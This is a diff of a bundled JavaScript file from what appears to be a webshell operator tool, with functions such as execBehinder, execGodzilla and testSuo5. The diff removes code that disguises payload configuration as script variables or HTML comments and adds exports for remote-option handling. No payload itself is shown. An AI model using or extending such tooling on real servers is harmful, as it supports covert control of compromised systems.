|
2679
|
-
encoding: "base64",
|
|
2680
|
-
padTail: false,
|
|
2681
|
-
marker: "js-var"
|
|
2682
|
-
};
|
|
2683
|
-
function resolveCipher(partial) {
|
|
2684
|
-
return { ...LEGACY_CIPHER, ...partial ?? {} };
|
|
2685
|
-
}
|
|
2686
|
-
function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
|
|
2687
|
-
const id = md5Hex(pass + secretKey).slice(0, 5);
|
|
2688
|
-
if (cipher.marker === "html-comment") {
|
|
2689
|
-
const left2 = `<!--Re${id}_config:`;
|
|
2690
|
-
return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
|
|
2691
|
-
}
|
|
2692
|
-
const left = `var Re${id}_config="`;
|
|
2693
|
-
return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
|
|
2694
|
-
}
|
|
2695
|
-
|
|
2696
3714
|
// src/custom/build.ts
|
|
2697
3715
|
import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync5 } from "fs";
|
|
2698
3716
|
import { join as join6 } from "path";
|
|
2699
3717
|
|
|
2700
|
-
// src/core/site-profile.ts
|
|
2701
|
-
import { existsSync as existsSync4, mkdirSync as mkdirSync3, readdirSync, readFileSync as readFileSync5, writeFileSync as writeFileSync4 } from "fs";
|
|
2702
|
-
import { homedir as homedir4 } from "os";
|
|
2703
|
-
import { join as join5 } from "path";
|
|
2704
|
-
function inferBodyTemplateContentType(bodyTemplate) {
|
|
2705
|
-
const t = bodyTemplate.trimStart();
|
|
2706
|
-
if (t.startsWith("--")) return "multipart/form-data";
|
|
2707
|
-
if (t.startsWith("{") || t.startsWith("[")) return "application/json";
|
|
2708
|
-
if (t.startsWith("<")) return "text/xml";
|
|
2709
|
-
return null;
|
|
2710
|
-
}
|
|
2711
|
-
function profileTemplates(profile) {
|
|
2712
|
-
if (Array.isArray(profile.templates) && profile.templates.length > 0) {
|
|
2713
|
-
return profile.templates;
|
|
2714
|
-
}
|
|
2715
|
-
if (profile.template) {
|
|
2716
|
-
return [
|
|
2717
|
-
{
|
|
2718
|
-
title: profile.title ?? "",
|
|
2719
|
-
template: profile.template,
|
|
2720
|
-
contentType: profile.contentType ?? "text/html; charset=utf-8"
|
|
2721
|
-
}
|
|
2722
|
-
];
|
|
2723
|
-
}
|
|
2724
|
-
return [];
|
|
2725
|
-
}
|
|
2726
|
-
function profileRequests(profile) {
|
|
2727
|
-
if (!profile.request) return [];
|
|
2728
|
-
return Array.isArray(profile.request) ? profile.request : [profile.request];
|
|
2729
|
-
}
|
|
2730
|
-
|
|
2731
3718
|
// src/custom/java-template.ts
|
|
2732
3719
|
function renderWrapperJava() {
|
|
2733
3720
|
return `package mimic;
|
|
@@ -3433,6 +4420,7 @@ export {
|
|
|
3433
4420
|
emitPayload,
|
|
3434
4421
|
execBehinder,
|
|
3435
4422
|
execGodzilla,
|
|
4423
|
+
fetchRemoteOptions,
|
|
3436
4424
|
formatOp,
|
|
3437
4425
|
getProject,
|
|
3438
4426
|
hasJavac,
|
|
@@ -3441,9 +4429,13 @@ export {
|
|
|
3441
4429
|
logOp,
|
|
3442
4430
|
marshalFrameBase64,
|
|
3443
4431
|
marshalSuo5Map,
|
|
4432
|
+
normalizeRemoteOptions,
|
|
3444
4433
|
opLogPath,
|
|
4434
|
+
parseShellToolConfig,
|
|
4435
|
+
parseToolConfigFile,
|
|
3445
4436
|
profileSecretFields,
|
|
3446
4437
|
readOps,
|
|
4438
|
+
readRemotePath,
|
|
3447
4439
|
removeProject,
|
|
3448
4440
|
removeShell,
|
|
3449
4441
|
renderCryptoProbe,
|
|
@@ -3463,8 +4455,11 @@ export {
|
|
|
3463
4455
|
testBehinder,
|
|
3464
4456
|
testGodzilla,
|
|
3465
4457
|
testSuo5,
|
|
4458
|
+
toolConfigForTool,
|
|
3466
4459
|
truncateOutput,
|
|
3467
4460
|
unmarshalFrameBase64,
|
|
3468
|
-
unmarshalSuo5Map
|
|
4461
|
+
unmarshalSuo5Map,
|
|
4462
|
+
validateRemoteOptionsUrl,
|
|
4463
|
+
validateRequiredRemoteOptions
|
|
3469
4464
|
};
|
|
3470
4465
|
//# sourceMappingURL=index.js.map
|